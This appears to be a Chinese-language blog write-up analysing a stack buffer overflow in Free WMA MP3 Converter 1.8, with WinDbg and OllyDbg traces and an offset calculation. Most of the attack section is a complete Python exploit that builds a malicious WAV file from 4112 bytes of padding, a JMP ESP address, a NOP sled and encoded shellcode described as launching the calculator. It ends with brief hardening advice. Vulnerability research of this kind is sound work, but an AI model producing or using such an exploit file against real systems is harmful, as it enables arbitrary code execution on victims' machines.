FREE WMA MP3 CONVERTER 1.8缓冲区溢出漏洞 调试
字数 1163 2025-08-06 08:35:41
FREE WMA MP3 CONVERTER 1.8缓冲区溢出漏洞分析与利用
漏洞概述
FREE WMA MP3 CONVERTER 1.8版本在处理WAV音频文件时存在缓冲区溢出漏洞,攻击者可以通过构造恶意的WAV文件,在目标系统上执行任意代码。
调试环境准备
- 操作系统:Windows XP SP3
- 调试工具:
- WinDbg
- OllyDbg
- IDA Pro
- 软件下载:Free WMA MP3 Converter 1.8
漏洞分析
漏洞位置
漏洞发生在FWMCon.exe的sub_4B0FF4函数中。该函数在转换文件格式时,复制音频文件数据时未对文件长度进行有效检查,导致缓冲区溢出。
漏洞触发流程
- 程序加载恶意构造的WAV文件
- 进入漏洞函数
sub_4B0FF4 - 函数内部通过循环(
loc_4b102f,loc_4b14b9,loc_4b14e3)读取文件数据 - 由于缺乏长度检查,导致缓冲区被覆盖
关键调试过程
-
使用Windbg运行程序并加载POC文件,程序崩溃时寄存器状态:
eax=00000000 ebx=41414141 ecx=000010c8 edx=000010c8 esi=41414141 edi=41414141 eip=41414141 esp=01e3fee8 ebp=41414141 -
栈回溯分析:
0:005> kb ChildEBP RetAddr Args to Child 01e3fee4 41414141 41414141 41414141 41414141 0x41414141 01e3ffa0 00404172 01e3ffdc 00403cc8 01e3ffb4 0x41414141 -
通过OllyDbg设置断点跟踪执行流程:
00404170 ffd2 call edx00421a6c ff5204 call dword ptr [edx+4]004ad284 ff523c call dword ptr [edx+3Ch]004b42c1 e8728dffff call 004ad038004ad067 ff5244 call dword ptr [edx+44h]004ad771 ff5268 call dword ptr [edx+68h]004af66f e880190000 call 004b0ff4(漏洞函数)
-
漏洞函数内部循环分析:
- 每轮循环读取一个字符
- EBX寄存器记录已读取的字符数
- 当EBX=10C4(4292)时,栈空间已被完全覆盖
漏洞利用
偏移量计算
- 漏洞函数从栈底1010h(4112)处开始存储变量
- 因此需要4112字节填充数据才能覆盖返回地址
利用方法
使用JMP ESP技术进行利用:
- 填充4112字节垃圾数据
- 覆盖返回地址为JMP ESP指令地址(0x0045CD1A)
- 添加NOP雪橇(20-30字节)
- 放置shellcode
完整EXP
import struct
def little_endian(address):
return struct.pack("<L",address)
poc = "\x41" * 4112
eip = little_endian(0x0045CD1A) # JMP ESP地址
nops = "\x90" * 20
shellcode = (
"\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83"
)
exploit = poc + eip + nops + shellcode
try:
rst = open("bof_WMA MP3 Converter.wav", 'w')
rst.write(exploit)
rst.close()
except:
print "Error"
利用注意事项
- NOP雪橇长度需要控制在20-30字节之间,过长或过短都可能导致利用失败
- Shellcode是弹出计算器的代码
- 实际测试中发现NOP数量在10-30之间时能成功弹出计算器
防护建议
- 更新到最新版本软件
- 对输入文件进行严格长度检查
- 启用DEP、ASLR等防护机制
- 对文件解析过程进行边界检查
参考资源
- 原始漏洞分析文章(原文链接已不可用)
- Exploit-DB相关条目